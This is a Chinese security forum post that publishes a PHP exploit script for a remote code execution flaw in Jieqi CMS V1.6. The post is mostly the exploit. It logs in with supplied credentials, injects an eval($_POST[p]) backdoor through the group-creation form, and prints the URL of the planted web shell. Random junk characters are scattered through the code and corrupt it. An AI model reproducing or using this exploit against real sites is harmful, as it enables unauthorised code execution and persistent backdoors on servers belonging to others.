找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2096|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
8 h; D) ~2 U, e
8 z* ?- t  b5 T ! b! L5 H$ e( b2 A' b- e* m
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。( o+ R3 _6 w5 {" ~  v; i7 g
需要有一个能创建圈子的用户。0 W0 y, z5 s& y- L# ~8 e! I
" Q! ]3 D# w" @% g% k4 }
<?php
! U  \: X- s% Z* Y; \ 3 U/ L" e! x0 G% r
print_r('
7 @' V7 b! X. w# B7 b0 ]+---------------------------------------------------------------------------+
2 h. y. l4 L- {* \Jieqi CMS V1.6 PHP Code Injection Exploit
& Y7 C; X) Z1 {5 q8 Vby flyh4t
2 c9 ?" X, {9 K! t2 A9 email: phpsec at hotmail dot com7 o) w) \/ D- J3 e* m
team: http://www.wolvez.org
7 k  ?1 t( W. q+---------------------------------------------------------------------------+
' t( j5 M1 K( W1 n/ S7 ~'); /**
% c3 I1 K+ g6 h# M& V- X; ~2 O$ L+ S7 f * works regardless of php.ini settings
/ l- {8 Y  _# {* m. m- H! H*/ if ($argc < 5) { print_r('5 u2 H  [) i+ r: b* \$ Z9 E0 \6 B
+---------------------------------------------------------------------------+
- {3 ^" t/ T9 [- lUsage: php '.$argv[0].' host path username0 w2 D# n8 T* x& h5 t
host:      target server (ip/hostname)& L- W1 u5 y3 `8 d, F0 g7 ^
path:      path to jieqicms 6 |. e4 Q& _$ u2 c8 W5 X1 [$ v8 U
uasename:  a username who can create group
0 |& j2 c" {  Z6 G5 V& |Example:
2 M) n2 C8 P1 A6 gphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
- \  O. q( P! \) n* m# j+---------------------------------------------------------------------------+3 Z* Y. |& ]0 s- A
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961, F7 y; e, ]$ Z) F; d1 M
Content-Disposition: form-data; name="gname"8 m! I# ?, ^" J- A# A
; ]. S- r+ x( {4 _
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
# F1 {$ ~' C+ X/ a, ~* o& N-----------------------------232811682799610 Q: `/ q) @( ~  ?7 M: o! X
Content-Disposition: form-data; name="gcatid"
; _$ F$ T! F5 O" M9 \. O . P, A. ^! D, N2 q& J1 }
1
2 O; U2 g8 I5 F! V' p-----------------------------23281168279961/ |9 B; G3 Q" J6 a8 E
Content-Disposition: form-data; name="gaudit"
$ ^$ P3 U+ Q7 |7 u% z# ~3 p+ C& l  F 1 a2 f6 ^4 k) o2 S7 @3 w* p( C% y  F
1
  _+ e! v6 P- w8 O; @' i4 ~-----------------------------232811682799611 b: J# g# |, d9 ~
Content-Disposition: form-data; name="gbrief"* U: d  @5 h5 k. W' S) o5 M9 i) k% I

0 j5 u1 b" u4 G& {3 c1
8 ~( ^9 \3 z6 o9 t2 c-----------------------------23281168279961--( Z4 k0 t) h, ]3 V5 v; k
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com9 I  G' i) n) |/ _; n

3 \) |6 f; h5 U  ^preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表